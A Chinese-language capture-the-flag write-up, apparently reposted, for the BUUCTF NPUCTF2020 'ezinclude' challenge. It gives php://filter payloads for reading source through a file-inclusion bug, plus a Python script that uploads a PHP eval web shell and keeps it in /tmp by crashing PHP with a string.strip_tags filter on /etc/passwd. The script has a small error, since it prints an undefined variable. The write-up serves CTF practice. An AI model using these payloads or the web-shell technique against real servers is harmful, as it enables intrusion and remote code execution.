BUUCTF-[NPUCTF2020]ezinclude wp


進入頁面

 

 

查看源碼發現提示

 

 cookie處發現可疑字符,嘗試放入pass參數

 

 跳轉404,連上burp看響應包,發現flflflflag.php

 

嘗試訪問flflflflag.php,發現include($_GET["file"])的提示

 

使用偽協議讀取源碼

Payload:

f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=index.php

 

f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

 

③f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=config.php

 

讀源碼之后知道了出題人想要girlfriendinclude存在利用點,但是正則過濾了偽協議之后就不能用偽協議寫馬了,這里可以用php7 segment fault特性:
php://filter/string.strip_tags=/etc/passwd
php執行過程中出現 Segment Fault,這樣如果在此同時上傳文件,那么臨時文件就會被保存在/tmp目錄,不會被刪除

 

腳本:

import requests
from io import BytesIO
import re
payload = "<?php eval($_POST[a]);?>"
file_data={
   'file': BytesIO(payload.encode())
}
url="http://f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
   r=requests.post(url=url,files=file_data,allow_redirects=False)
except:
        print(1)

print(session)

 

打開dir.php發現已經成功寫入馬了

 

 

payload:/flflflflag.php?file=/tmp/phpX5gA3,post:a=phpinfo();在phpinfo中找到flag

 

參考:

https://blog.csdn.net/weixin_43610673/article/details/105898440

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM